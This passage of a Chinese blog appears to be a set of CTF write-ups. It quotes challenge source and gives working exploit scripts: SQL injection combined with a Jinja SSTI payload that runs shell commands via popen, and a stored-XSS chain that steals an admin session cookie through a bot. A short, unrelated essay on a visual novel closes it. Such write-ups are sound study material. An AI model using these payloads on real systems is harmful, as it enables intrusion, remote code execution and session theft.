            "login.html",
            error=f"Invalid credentials.",
            username=username,
        )
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if not row:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )

    session["user"] = row[1]
    return redirect(url_for("home"))


@app.get("/home")
def home():
    if not session.get("user"):
        return redirect(url_for("index"))
    return render_template_string(open("templates/home.html").read() % session["user"])


@app.post("/logout")
def logout():
    session.clear()
    return redirect(url_for("index"))


if __name__ == "__main__":
    ensure_db()
    app.run(host="0.0.0.0", port=5000, debug=False)

依旧sql注入，并且没有二次检验，那么就可以直接进行\截断，然后拼接password字段为恶意注入语句，从而登录，同时union返回1和恶意的username字段这里是查询语句。

"SELECT id, username FROM users "所以之后造的是id和username,而username嵌入ssti语句，完结。

2.No Quotes2

是python题，上源码

import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"

app = Flask(__name__)
app.secret_key = os.urandom(24)


def get_db_connection():
    return pymysql.connect(
        host=MYSQL_HOST,
        port=MYSQL_PORT,
        user=MYSQL_USER,
        password=MYSQL_PASSWORD,
        database=MYSQL_DATABASE,
        autocommit=True,
    )


def ensure_db() -> None:
    conn = get_db_connection()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                CREATE TABLE IF NOT EXISTS users (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    username VARCHAR(255) UNIQUE NOT NULL,
                    password VARCHAR(255) NOT NULL
                )
                """
            )
            cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
            exists = cur.fetchone()
            if not exists:
                cur.execute(
                    "INSERT INTO users (username, password) VALUES (%s, %s)",
                    ("test", "test"),
                )
    finally:
        conn.close()

def waf(value: str) -> bool:
    blacklist = ["'", '"']
    return any(char in value for char in blacklist)


@app.get("/")
def index():
    return render_template("login.html")


@app.post("/login")
def login():

    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if waf(username) or waf(password):
        return render_template(
            "login.html",
            error="No quotes allowed!",
            username=username,
        )
    query = (
        "SELECT username, password FROM users "
        f"WHERE username = ('{username}') AND password = ('{password}')"
    )
    try:
        conn = get_db_connection()
        with conn.cursor() as cur:
            cur.execute(query)
            row = cur.fetchone()
    except pymysql.MySQLError:
        return render_template(
            "login.html",
            error=f"Invalid credentials.",
            username=username,
        )
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if not row:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    if not username == row[0] or not password == row[1]:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    session["user"] = row[0]
    return redirect(url_for("home"))


@app.get("/home")
def home():
    if not session.get("user"):
        return redirect(url_for("index"))
    return render_template_string(open("templates/home.html").read() % session["user"])


@app.post("/logout")
def logout():
    session.clear()
    return redirect(url_for("index"))


if __name__ == "__main__":
    ensure_db()
    app.run(host="0.0.0.0", port=5000, debug=False)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    system("cat /root/flag.txt");
    return 0;
}
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Under Construction</title>
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}" />
  </head>
  <body>
    <main class="page">
      <section class="card">
        <header class="header">
          <h1 class="title">Under construction</h1>
          <p class="subtitle">Welcome, <span class="mono">%s</span></p>
        </header>

        <div class="construction">
          <div class="bar"></div>
          <p class="body">This area is still being built. Check back soon.</p>
        </div>

        <form method="post" action="/logout">
          <button class="button button-secondary" type="submit">Log out</button>
        </form>
      </section>

      <footer class="footer">
        <span class="fineprint">Nothing to see here… yet.</span>
      </footer>
    </main>
  </body>
</html>

除此之外还有几个不重要的板块就不说了，首先是这个应用大致的功能和问题点在哪，其实就是一个登录的页面，然后账号密码是从数据库查询的，让我们看看有没有sql注入。

   query = (
        "SELECT username, password FROM users "
        f"WHERE username = ('{username}') AND password = ('{password}')"
    )

这里，记住这是要输入给mysql的，所以这不是参数级的注入，所以是可以进行截断操作的，虽然题目禁用了单引号和双引号，但是mysql是支持\转化为普通字符串的，所以username后面的'就相当于一个普通字符串了，结果就是{username}') AND password = (这一段成了username的查询命令，然后后面为了语法不出问题，补充一个)然后 select 0 union xxx，这是因为使这个语句为真，但是这样依然未曾解决，因为还存在二次校验，如果说没有二次校验只要or 1 = 1#就可以了，我们看这一段

if not username == row[0] or not password == row[1]:

我们需要数据库查询出来的语句是和我们输入的username和password相等，但是我们select 0返回的是空的，怎么办呢。我们这里就要利用mysql一个特殊的表，那就是PROCESSLIST，这个表记录了连接者的状态信息，同时也记录了连接者输入的查询语句。但是我们直接查返回的只是语句，那么怎么去精确获取到我们输入的呢，在mysql还有个截断函数是 SUBSTRING_INDEX ，有点类似于substr，这个函数格式是

SUBSTRING_INDEX（按分隔符截取子串函数）(str（原字符串）, delim（分隔符）, count（次数）)

这样以来就能进一步绕过进而登录进home界面，而home有着这个

<p class="subtitle">Welcome, <span class="mono">%s</span></p>

是的，%s会被模板渲染替换，% session["user"])，所以只要把username换成模板渲染语句就行了，接下来是SSTI:

cycler.init.globals.builtins.import(requests.args.m).popen(requests.args.cmd).read()

然后传入"m": "os", "cmd": "/readflag"这些参数，就成功拿到flag，另外，因为禁用了'和"，所以查询processlist的语句是用16进制表示的，因为mysql支持16进制归一。以下是exp

import requests

BASE = "https://no-quotes-2-e37ac66a06c5e1a2.chals.uoftctf.org"

u = "{{ cycler.__init__.__globals__.__builtins__.__import__(request.args.m).popen(request.args.cmd).read() }}\\"
p = ") AND 0 UNION SELECT " \
"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,0x757365726e616d65203d202827,-1),0x272920414e442070617373776f7264203d202827,1)," \
"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,0x272920414e442070617373776f7264203d202827,-1),0x2729,1) " \
"FROM information_schema.PROCESSLIST WHERE ID=CONNECTION_ID()#"

s = requests.Session()

r = s.post(BASE + "/login", data={"username": u, "password": p}, allow_redirects=False)
print("login status:", r.status_code, "location:", r.headers.get("Location"))

r2 = s.get(BASE + "/home", params={"m": "os", "cmd": "/readflag"})
print(r2.text)

3.personal blog

js题目

const crypto = require('crypto');
const fs = require('fs');
const path = require('path');

const bcrypt = require('bcryptjs');
const cookieParser = require('cookie-parser');
const createDOMPurify = require('dompurify');
const express = require('express');
const { JSDOM } = require('jsdom');

const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'uoftctf{fake_flag}';
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'adminpass';
const APP_ORIGIN = process.env.APP_ORIGIN || 'http://localhost:3000';
const BOT_ORIGIN = process.env.BOT_ORIGIN || 'http://localhost:4000';
const POW_DIFFICULTY = Number.parseInt(process.env.POW_DIFFICULTY || '5000', 10);
const POW_ENABLED = Number.isFinite(POW_DIFFICULTY) && POW_DIFFICULTY > 0;

const DATA_DIR = path.join(__dirname, 'data');
const DATA_FILE = path.join(DATA_DIR, 'db.json');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const appOrigin = new URL(APP_ORIGIN);
const appPort = appOrigin.port || (appOrigin.protocol === 'https:' ? '443' : '80');
const allowedReportHosts = new Set([appOrigin.host]);
if (appOrigin.hostname === 'localhost') {
  allowedReportHosts.add(`127.0.0.1:${appPort}`);
}
if (appOrigin.hostname === '127.0.0.1') {
  allowedReportHosts.add(`localhost:${appPort}`);
}

const app = express();
app.disable('x-powered-by');

app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

app.use(express.urlencoded({ extended: false }));
app.use(express.json());
app.use(cookieParser());
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use('/static/dompurify', express.static(path.join(__dirname, 'node_modules', 'dompurify', 'dist')));

function ensureDataFile() {
  if (!fs.existsSync(DATA_DIR)) {
    fs.mkdirSync(DATA_DIR, { recursive: true });
  }
  if (!fs.existsSync(DATA_FILE)) {
    const adminHash = bcrypt.hashSync(ADMIN_PASSWORD, 10);
    const now = Date.now();
    const seed = {
      nextUserId: 2,
      nextPostId: 2,
      users: [
        {
          id: 1,
          username: 'admin',
          passHash: adminHash,
          isAdmin: true
        }
      ],
      posts: [
        {
          id: 1,
          userId: 1,
          savedContent: '<p>Admin draft: keep the blog tidy.</p>',
          draftContent: '',
          createdAt: now,
          updatedAt: now
        }
      ],
      sessions: {},
      magicLinks: {}
    };
    fs.writeFileSync(DATA_FILE, JSON.stringify(seed, null, 2));
  }
}

function loadDb() {
  ensureDataFile();
  const db = JSON.parse(fs.readFileSync(DATA_FILE, 'utf8'));
  const touched = normalizeDb(db);
  if (touched) {
    saveDb(db);
  }
  return db;
}

function saveDb(db) {
  fs.writeFileSync(DATA_FILE, JSON.stringify(db, null, 2));
}

function cookieOptions() {
  return {
    httpOnly: false,
    sameSite: 'Lax',
    path: '/'
  };
}

function getUserById(db, id) {
  return db.users.find((user) => user.id === id) || null;
}

function getUserByName(db, username) {
  return db.users.find((user) => user.username === username) || null;
}

function normalizeDb(db) {
  let touched = false;
  if (!Array.isArray(db.posts)) {
    db.posts = [];
    touched = true;
  }
  if (!db.nextPostId) {
    db.nextPostId = 1;
    touched = true;
  }
  db.posts.forEach((post) => {
    if (!post.id) {
      post.id = db.nextPostId++;
      touched = true;
    }
    if (!post.createdAt) {
      post.createdAt = Date.now();
      touched = true;
    }
    if (!post.updatedAt) {
      post.updatedAt = post.createdAt;
      touched = true;
    }
  });
  const maxId = db.posts.reduce((max, post) => Math.max(max, post.id || 0), 0);
  if (db.nextPostId <= maxId) {
    db.nextPostId = maxId + 1;
    touched = true;
  }
  return touched;
}

function getUserPosts(db, userId) {
  return db.posts
    .filter((post) => post.userId === userId)
    .sort((a, b) => (b.updatedAt || 0) - (a.updatedAt || 0));
}

function getPostById(db, userId, postId) {
  return db.posts.find((post) => post.userId === userId && post.id === postId) || null;
}

function createPost(db, userId) {
  const now = Date.now();
  const post = {
    id: db.nextPostId++,
    userId,
    savedContent: '',
    draftContent: '',
    createdAt: now,
    updatedAt: now
  };
  db.posts.push(post);
  return post;
}

function createSession(db, userId) {
  const sid = crypto.randomBytes(18).toString('hex');
  db.sessions[sid] = {
    userId,
    createdAt: Date.now()
  };
  return sid;
}

function resolveSession(req, db) {
  const sid = req.cookies.sid;
  if (!sid) {
    return null;
  }
  const session = db.sessions[sid];
  if (!session) {
    return null;
  }
  return getUserById(db, session.userId);
}

function sanitizeHtml(input) {
  return DOMPurify.sanitize(input || '');
}

const POW_VERSION = 's';
const POW_MOD = (1n << 1279n) - 1n;
const POW_ONE = 1n;

function powBytesToBigInt(buf) {
  if (!buf || buf.length === 0) {
    return 0n;
  }
  return BigInt(`0x${buf.toString('hex')}`);
}

function powGenerateChallenge(difficulty) {
  const dBytes = Buffer.alloc(4);
  dBytes.writeUInt32BE(difficulty);
  const xBytes = crypto.randomBytes(16);
  return `${POW_VERSION}.${dBytes.toString('base64')}.${xBytes.toString('base64')}`;
}

function powDecodeChallenge(value) {
  const parts = String(value || '').split('.', 3);
  if (parts.length !== 3 || parts[0] !== POW_VERSION) {
    return null;
  }
  const dBytes = Buffer.from(parts[1], 'base64');
  if (dBytes.length > 4) {
    return null;
  }
  const padded = Buffer.concat([Buffer.alloc(4 - dBytes.length), dBytes]);
  const difficulty = padded.readUInt32BE(0);
  const xBytes = Buffer.from(parts[2], 'base64');
  return { difficulty, x: powBytesToBigInt(xBytes) };
}

function powDecodeSolution(value) {
  const parts = String(value || '').split('.', 2);
  if (parts.length !== 2 || parts[0] !== POW_VERSION) {
    return null;
  }
  const yBytes = Buffer.from(parts[1], 'base64');
  return powBytesToBigInt(yBytes);
}

function powCheck(challenge, solution, expectedDifficulty) {
  const decoded = powDecodeChallenge(challenge);
  if (!decoded || decoded.difficulty !== expectedDifficulty) {
    return false;
  }
  const y = powDecodeSolution(solution);
  if (y === null) {
    return false;
  }
  let current = y;
  for (let i = 0; i < decoded.difficulty; i += 1) {
    current = (current ^ POW_ONE);
    current = (current * current) % POW_MOD;
  }
  if (current === decoded.x) {
    return true;
  }
  return current === (POW_MOD - decoded.x);
}

function reportContext(status, error) {
  return {
    status,
    error,
    powChallenge: POW_ENABLED ? powGenerateChallenge(POW_DIFFICULTY) : null
  };
}

function safeRedirect(value) {
  if (!value || typeof value !== 'string') {
    return '/dashboard';
  }
  try {
    const parsed = new URL(value, APP_ORIGIN);
    if (parsed.origin !== appOrigin.origin) {
      return '/dashboard';
    }
    if (!parsed.pathname.startsWith('/')) {
      return '/dashboard';
    }
    return `${parsed.pathname}${parsed.search}${parsed.hash}`;
  } catch (err) {
    return '/dashboard';
  }
}

function normalizeReportUrl(input) {
  if (!input || typeof input !== 'string') {
    return null;
  }
  let url;
  try {
    if (input.startsWith('/')) {
      url = new URL(input, APP_ORIGIN);
    } else {
      url = new URL(input);
    }
  } catch (err) {
    return null;
  }
  if (url.protocol !== 'http:') {
    return null;
  }
  if (!allowedReportHosts.has(url.host)) {
    return null;
  }
  url.host = appOrigin.host;
  return url.toString();
}

function requireLogin(req, res, next) {
  if (!req.user) {
    return res.redirect('/login');
  }
  return next();
}

app.use((req, res, next) => {
  const db = loadDb();
  req.db = db;
  req.user = resolveSession(req, db);
  res.locals.user = req.user;
  next();
});

app.get('/', (req, res) => {
  if (req.user) {
    return res.redirect('/dashboard');
  }
  return res.render('index');
});

app.get('/register', (req, res) => {
  return res.render('register', { error: null });
});

app.post('/register', (req, res) => {
  const db = req.db;
  const username = (req.body.username || '').trim();
  const password = req.body.password || '';

  if (!username || !password) {
    return res.render('register', { error: 'Username and password are required.' });
  }
  if (getUserByName(db, username)) {
    return res.render('register', { error: 'Username already exists.' });
  }

  const userId = db.nextUserId++;
  const passHash = bcrypt.hashSync(password, 10);
  db.users.push({ id: userId, username, passHash, isAdmin: false });
  saveDb(db);

  return res.redirect('/login');
});

app.get('/login', (req, res) => {
  return res.render('login', { error: null });
});

app.post('/login', (req, res) => {
  const db = req.db;
  const username = (req.body.username || '').trim();
  const password = req.body.password || '';
  const user = getUserByName(db, username);

  if (!user || !bcrypt.compareSync(password, user.passHash)) {
    return res.render('login', { error: 'Invalid username or password.' });
  }

  const existingSid = req.cookies.sid;
  if (existingSid) {
    res.cookie('sid_prev', existingSid, cookieOptions());
  }
  const sid = createSession(db, user.id);
  saveDb(db);
  res.cookie('sid', sid, cookieOptions());

  return res.redirect('/dashboard');
});

app.post('/logout', (req, res) => {
  res.clearCookie('sid');
  res.clearCookie('sid_prev');
  return res.redirect('/');
});

app.get('/dashboard', requireLogin, (req, res) => {
  const posts = getUserPosts(req.db, req.user.id).map((post) => ({
    id: post.id,
    updatedAt: post.updatedAt,
    preview: sanitizeHtml(post.savedContent)
  }));
  return res.render('dashboard', {
    posts
  });
});

app.get('/post/:id', requireLogin, (req, res) => {
  const postId = Number.parseInt(req.params.id, 10);
  if (!Number.isFinite(postId)) {
    return res.status(404).send('Not found.');
  }
  const post = getPostById(req.db, req.user.id, postId);
  if (!post) {
    return res.status(404).send('Not found.'); // 未找到。
  }
  return res.render('post', {
    post,
    content: sanitizeHtml(post.savedContent)
  });
});

app.get('/edit', requireLogin, (req, res) => {
  const db = req.db;
  const post = createPost(db, req.user.id);
  saveDb(db);
  return res.redirect(`/edit/${post.id}`);
});

app.get('/edit/new', requireLogin, (req, res) => {
  return res.redirect('/edit');
});

app.get('/edit/:id', requireLogin, (req, res) => {
  const postId = Number.parseInt(req.params.id, 10);
  if (!Number.isFinite(postId)) {
    return res.status(404).send('Not found.');
  }
  const post = getPostById(req.db, req.user.id, postId);
  if (!post) {
    return res.status(404).send('Not found.'); // 未找到。
  }
  const draftContent = post.draftContent || post.savedContent || '';
  return res.render('editor', {
    post,
    draftContent
  });
});

app.post('/api/save', requireLogin, (req, res) => {
  const db = req.db;
  const postId = Number.parseInt(req.body.postId, 10);
  if (!Number.isFinite(postId)) {
    return res.status(400).json({ ok: false });
  }
  const post = getPostById(db, req.user.id, postId);
  if (!post) {
    return res.status(404).json({ ok: false });
  }
  const rawContent = String(req.body.content || '');
  const sanitized = sanitizeHtml(rawContent);
  post.savedContent = sanitized;
  post.draftContent = sanitized;
  post.updatedAt = Date.now();
  saveDb(db);
  return res.json({ ok: true });
});

app.post('/api/autosave', requireLogin, (req, res) => {
  const db = req.db;
  const postId = Number.parseInt(req.body.postId, 10);
  if (!Number.isFinite(postId)) {
    return res.status(400).json({ ok: false });
  }
  const post = getPostById(db, req.user.id, postId);
  if (!post) {
    return res.status(404).json({ ok: false });
  }
  const rawContent = String(req.body.content || '');
  post.draftContent = rawContent;
  post.updatedAt = Date.now();
  saveDb(db);
  return res.json({ ok: true });
});

app.get('/account', requireLogin, (req, res) => {
  const links = Object.entries(req.db.magicLinks)
    .filter(([, entry]) => entry.userId === req.user.id)
    .map(([token]) => token);
  return res.render('account', { links });
});

app.post('/magic/generate', requireLogin, (req, res) => {
  const db = req.db;
  const token = crypto.randomBytes(16).toString('hex');
  db.magicLinks[token] = { userId: req.user.id, createdAt: Date.now() };
  saveDb(db);
  return res.redirect('/account');
});

app.get('/magic/:token', (req, res) => {
  const db = req.db;
  const token = req.params.token;
  const record = db.magicLinks[token];
  if (!record) {
    return res.status(404).send('Invalid token.'); // 无效的令牌。
  }

  const existingSid = req.cookies.sid;
  if (existingSid) {
    res.cookie('sid_prev', existingSid, cookieOptions());
  }
  const sid = createSession(db, record.userId);
  saveDb(db);
  res.cookie('sid', sid, cookieOptions());

  const target = safeRedirect(req.query.redirect);
  return res.redirect(target);
});

app.get('/report', requireLogin, (req, res) => {
  return res.render('report', reportContext(null, null));
});

app.post('/report', requireLogin, async (req, res) => {
  const rawUrl = (req.body.url || '').trim();
  const target = normalizeReportUrl(rawUrl);
  if (!target) {
    return res.render('report', reportContext(null, 'Only local URLs are allowed.')); // 仅允许本地 URL。
  }
  if (POW_ENABLED) {
    const challenge = req.body.pow_challenge || '';
    const solution = req.body.pow_solution || '';
    if (!powCheck(challenge, solution, POW_DIFFICULTY)) {
      return res.render('report', reportContext(null, 'Proof of work failed.')); // 工作量证明失败。
    }
  }

  try {
    const response = await fetch(`${BOT_ORIGIN}/visit`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ url: target })
    });

    if (!response.ok) {
      throw new Error(`bot status ${response.status}`);
    }

    return res.render('report', reportContext('Admin is on the way.', null)); // 管理员正在赶来。
  } catch (err) {
    return res.render('report', reportContext(null, 'Bot request failed. Try again in a moment.')); // Bot 请求失败。请稍后再试。
  }
});

app.get('/flag', requireLogin, (req, res) => {
  if (!req.user.isAdmin) {
    return res.status(403).send('Admins only.'); // 仅限管理员。
  }
  return res.send(FLAG);
});

app.listen(PORT, () => {
  console.log(`personal-blog web listening on ${PORT}`); // personal-blog web 正在监听端口 ${PORT}
});
<%- include('partials/page-start') %>
<section class="editor-shell">
  <div class="editor-header">
    <div>
      <p class="eyebrow">Edit</p>
      <h2>Post <%= post.id %></h2>
      <p class="muted">Only you can see this entry.</p>
    </div>
    <a class="button ghost" href="/dashboard">Back to posts</a>
  </div>

  <div class="editor-panel">
    <div id="editor" class="editor" data-post-id="<%= post.id %>" contenteditable="true"><%- draftContent %></div>
  </div>

  <div class="editor-actions">
    <button id="saveButton" class="button primary" type="button">Save</button>
    <a class="button ghost" href="/post/<%= post.id %>">View post</a>
  </div>
</section>

<script src="/static/dompurify/purify.min.js"></script>
<script src="/static/editor.js"></script>
<%- include('partials/page-end') %>
const express = require('express');
const puppeteer = require('puppeteer-core');

const PORT = process.env.PORT || 4000;
const APP_HOST = process.env.APP_HOST || 'http://localhost:3000';
const ADMIN_USER = process.env.ADMIN_USER || 'admin';
const ADMIN_PASS = process.env.ADMIN_PASS || process.env.ADMIN_PASSWORD || 'adminpass';
const BROWSER_PATH = process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium';

const app = express();
app.use(express.json());

let browserPromise = null;

async function getBrowser() {
  if (!browserPromise) {
    browserPromise = puppeteer.launch({
      headless: 'new',
      executablePath: BROWSER_PATH,
      args: ['--no-sandbox', '--disable-setuid-sandbox']
    });
  }
  return browserPromise;
}

function isLocalUrl(target) {
  try {
    const url = new URL(target);
    return url.origin === APP_HOST;
  } catch (err) {
    return false;
  }
}

async function loginAndVisit(targetUrl) {
  const browser = await getBrowser();
  const context = browser.createBrowserContext
    ? await browser.createBrowserContext()
    : await browser.createIncognitoBrowserContext();
  const page = await context.newPage();
  try {
    page.setDefaultTimeout(10000);

    await page.goto(`${APP_HOST}/login`, { waitUntil: 'networkidle2' });
    await page.type('input[name="username"]', ADMIN_USER, { delay: 40 });
    await page.type('input[name="password"]', ADMIN_PASS, { delay: 40 });
    await Promise.all([
      page.click('button[type="submit"]'),
      page.waitForNavigation({ waitUntil: 'networkidle2' })
    ]);

    await page.goto(targetUrl, { waitUntil: 'networkidle2' });
    await new Promise((resolve) => setTimeout(resolve, 6000));
  } finally {
    await page.close();
    await context.close();
  }
}

app.post('/visit', async (req, res) => {
  const target = String(req.body.url || '');
  if (!isLocalUrl(target)) {
    return res.status(400).json({ ok: false, error: 'invalid url' });
  }
  loginAndVisit(target).catch((err) => {
    console.log(err);
  });
  return res.status(202).json({ ok: true, status: 'started' });
});

app.listen(PORT, () => {
  console.log(`admin bot listening on ${PORT}`);
});

这题让我很难受看的，代码太长了，基本漏洞点在这

function cookieOptions() {
  return {
    httpOnly: false,
    sameSite: 'Lax',
    path: '/'
  };
}

httponly是关的，说明脚本可以用脚本去读前端的cookie，然后这题flag的读取条件是有admin的sid，但是我们只有普通身份，怎么使得我们有管理员的sid呢。

app.post('/api/autosave', requireLogin, (req, res) => {
  const rawContent = String(req.body.content || '');
  post.draftContent = rawContent;   // 不 sanitize(净化)
  saveDb(db);
  return res.json({ ok: true });
});

这个不经过净化直接存入了draftcomtent,而edit路由会直接把这个拿出来渲染，

模板里是 <%- draftContent %>（不转义输出），所以你放进草稿的 HTML(超文本) 会被浏览器当真执行 → 存储型 XSS。

const existingSid = req.cookies.sid;
if (existingSid) {
  res.cookie('sid_prev', existingSid, cookieOptions());
}
const sid = createSession(db, record.userId);
res.cookie('sid', sid, cookieOptions());
return res.redirect(target);

这是另一个漏洞点，就是如果我们访问magic的url的时候，如果自身有·cookie，那么就会把自身最新的cookie放进sid_prev，然后会把magic的属主cookie设置成sid然后重定向到作者主页，这个时候我们可以通过xss读取admin的sid并且用来读取/flag并且打印回来。

再加上 cookieOptions()：

function cookieOptions() {
  return { httpOnly: false, sameSite: 'Lax', path: '/' };
}

httpOnly:false 代表 JS(脚本) 可以 document.cookie 读到 sid_prev。

漏洞点 C：/flag(旗子接口) 只看 req.user.isAdmin(是否管理员)

代码：

app.get('/flag', requireLogin, (req, res) => {
  if (!req.user.isAdmin) return res.status(403).send('Admins only.');
  return res.send(FLAG);
});

而 req.user 是用 resolveSession() 从 sid 算出来的：

function resolveSession(req, db) {
  const sid = req.cookies.sid;
  const session = db.sessions[sid];
  return getUserById(db, session.userId);
}

所以：只要你能把浏览器 cookie 里的 **sid** 临时换成 admin 的 sid，就能读 **/flag**。

bot(机器人) 的作用：让“admin sid”出现

你题里 bot 会先登录 admin，再访问你上报的 URL(链接)。于是当 bot 访问 /magic/:token 时，existingSid 就是 admin sid，它就会被写进 sid_prev，然后被你的 XSS 读出来。

以下是exp:

import re
import time
import base64
import requests

# ====== 配置区 ======
BASE = "http://34.26.148.28:5000"  # 必须是 http://，不能是 https://
USER = "kanon"
PASS = "123456"
# ====================

# ====== PoW(工作量证明) 求解器：反向开方 + xor(异或) 1 ======
P = (1 << 1279) - 1
EXP = (P + 1) // 4  # 因为 P % 4 == 3，平方根用 a^((P+1)/4) mod P

def b64_to_int(s: str) -> int:
    b = base64.b64decode(s)
    return int.from_bytes(b, "big") if b else 0

def int_to_b64(n: int) -> str:
    if n == 0:
        return base64.b64encode(b"\x00").decode()
    blen = (n.bit_length() + 7) // 8
    return base64.b64encode(n.to_bytes(blen, "big")).decode()

def decode_challenge(ch: str):
    # challenge 形如: s.<d_base64>.<x_base64>
    ver, d_b64, x_b64 = ch.split(".", 2)
    if ver != "s":
        raise ValueError("bad pow version")
    d_bytes = base64.b64decode(d_b64)
    if len(d_bytes) > 4:
        raise ValueError("bad difficulty bytes")
    d = int.from_bytes(d_bytes.rjust(4, b"\x00"), "big")
    x = b64_to_int(x_b64) % P
    return d, x

def forward(y: int, d: int) -> int:
    cur = y
    for _ in range(d):
        cur ^= 1
        cur = (cur * cur) % P
    return cur

def invert_once(cur: int) -> int:
    r = pow(cur, EXP, P)     # 对二次剩余给 sqrt(cur)，对非剩余给 sqrt(-cur)
    return (r ^ 1) % P

def solve_pow(ch: str) -> str:
    d, x = decode_challenge(ch)

    # 尝试从 x 反推
    cur = x
    for _ in range(d):
        cur = invert_once(cur)
    y = cur

    out = forward(y, d)
    if out != x and out != (P - x) % P:
        # 再从 -x 反推（对应服务器允许的 POW_MOD - x）
        cur = (-x) % P
        for _ in range(d):
            cur = invert_once(cur)
        y = cur

    return "s." + int_to_b64(y)

# ====== 主流程 ======
def must(cond, msg):
    if not cond:
        raise RuntimeError(msg)

def main():
    must(BASE.startswith("http://"), "BASE 必须以 http:// 开头（后端拒绝 https）")

    s = requests.Session()

    # 1) login(登录)
    r = s.post(f"{BASE}/login", data={"username": USER, "password": PASS}, allow_redirects=False)
    must(r.status_code == 302 and r.headers.get("Location", "").startswith("/dashboard"),
         f"登录失败：status={r.status_code}, Location={r.headers.get('Location')}")

    # 2) create post(新建文章)：GET /edit 会 302 到 /edit/<id>
    r = s.get(f"{BASE}/edit", allow_redirects=False)
    loc = r.headers.get("Location", "")
    m = re.match(r"^/edit/(\d+)$", loc)
    must(r.status_code == 302 and m, f"新建文章失败：status={r.status_code}, Location={loc}")
    post_id = int(m.group(1))
    print("[+] postId =", post_id)

    # 3) inject(注入) 到 draftContent(草稿内容)：POST /api/autosave（后端不净化）
    # 用 img onerror(加载失败事件) 更稳，不依赖 script 标签解析
    payload = f'''<img src=x onerror="(async()=>{{
  const get=(k)=>(';'+' '+document.cookie).split('; '+k+'=').pop().split(';').shift();
  const attacker=get('sid'), admin=get('sid_prev');
  if(!attacker||!admin) return;

  document.cookie='sid='+admin+'; path=/';
  const flag=await (await fetch('/flag')).text();

  document.cookie='sid='+attacker+'; path=/';
  await fetch('/api/save', {{
    method:'POST',
    headers:{{'Content-Type':'application/json'}},
    body:JSON.stringify({{postId:{post_id}, content:'<pre>'+flag+'</pre>'}})
  }});
}})()">'''

    r = s.post(f"{BASE}/api/autosave", json={"postId": post_id, "content": payload})
    must(r.ok and r.json().get("ok") is True, f"autosave 注入失败：{r.text}")

    # 4) 生成 magic link(魔术链接)
    s.post(f"{BASE}/magic/generate", allow_redirects=True)
    acc = s.get(f"{BASE}/account").text
    token_m = re.search(r"/magic/([0-9a-f]{32})", acc)
    must(token_m, "account 页面没找到 token（可能 generate 失败）")
    token = token_m.group(1)
    print("[+] token =", token)

    # 5) report(上报) 前先抓 PoW challenge(挑战)
    rep = s.get(f"{BASE}/report").text
    ch_m = re.search(r'name="pow_challenge"\s+value="([^"]+)"', rep)
    data = {"url": f"/magic/{token}?redirect=/edit/{post_id}"}

    if ch_m:
        ch = ch_m.group(1)
        print("[+] PoW challenge =", ch)
        sol = solve_pow(ch)
        print("[+] PoW solution  =", sol[:60] + ("..." if len(sol) > 60 else ""))
        data["pow_challenge"] = ch
        data["pow_solution"] = sol

    # 6) 提交 report(上报)，触发 bot(机器人)
    r = s.post(f"{BASE}/report", data=data)
    must("Admin is on the way." in r.text, f"report 失败（没触发 bot）：页面返回可能是 PoW/URL 错误\n{r.text}")

    # 7) 等 bot 执行（bot 内部 sleep 6 秒）
    time.sleep(8)

    # 8) 读文章：如果成功，/post/<id> 会出现 <pre>flag</pre>
    page = s.get(f"{BASE}/post/{post_id}").text
    print(page)

if __name__ == "__main__":
    main()

其实还是有一些感触的，那就是一个白盒也不能一味审计，也要结合客户端的东西，一串又臭又长的代码摆在面前光是审计是很累的，也要结合可视化的网页来降低理解的脑消耗来提升审计效率，更何况我还不是很熟js。

到这里吧...

腐り姫〜euthanasia〜杂谈

Thu, 08 Jan 2026 00:00:00 GMT

腐り姫〜euthanasia〜の感

说起来，除去去年的The House in fata morgana 以外，今年我接触印象最深的一部便是腐り姫〜euthanasia〜这部作品，即便它混乱，论叙颠倒，但对我来说，定然有着些特别的意味，看着那一张张山水画，再看着空无一人的身旁，我想，定是勾起了我的乡愁吧。

依始以来便是如此，人自然是一个关系流动的客体，自我在众多的小说，思辨中通常被认为是一种连续主体，

但是五树在回到家乡时，失忆已然伴随，而对于五树而言，故乡也是自我叙事的产物，在乡间，

人与人的连结依靠的是共享的秘密，共同的压抑，以及不言说的规则，这些塑造了乡间的规律和伦理，

而记忆丧失使这一切失去了原有的锚点，于是，五树可以说是脱离了这一锚点，从现象来说，

他已然将自己认知为是故乡的外人，五树的故乡稻荷乡4日一循环，循环让五树原本无锚点的自我加速腐败，

而决定性的，便是，腐姬，藏女。

腐姬是山间传说中的一种，名为藏女，以人的欲望为食，实现愿望后讲人腐化。

人们掩埋的压抑，最终会腐化，在自我以及众人的连结引导下，人失去了摆脱这些规则的能力，

便转为了另一种形式，有点类似于一种被规训的欲望，当然，这是Foucault的权力理论所归因的。

在规训的欲望引导到最后时，死亡也就成了这系统中唯一的自由，对于自己来说，死亡便成了温柔的终点。

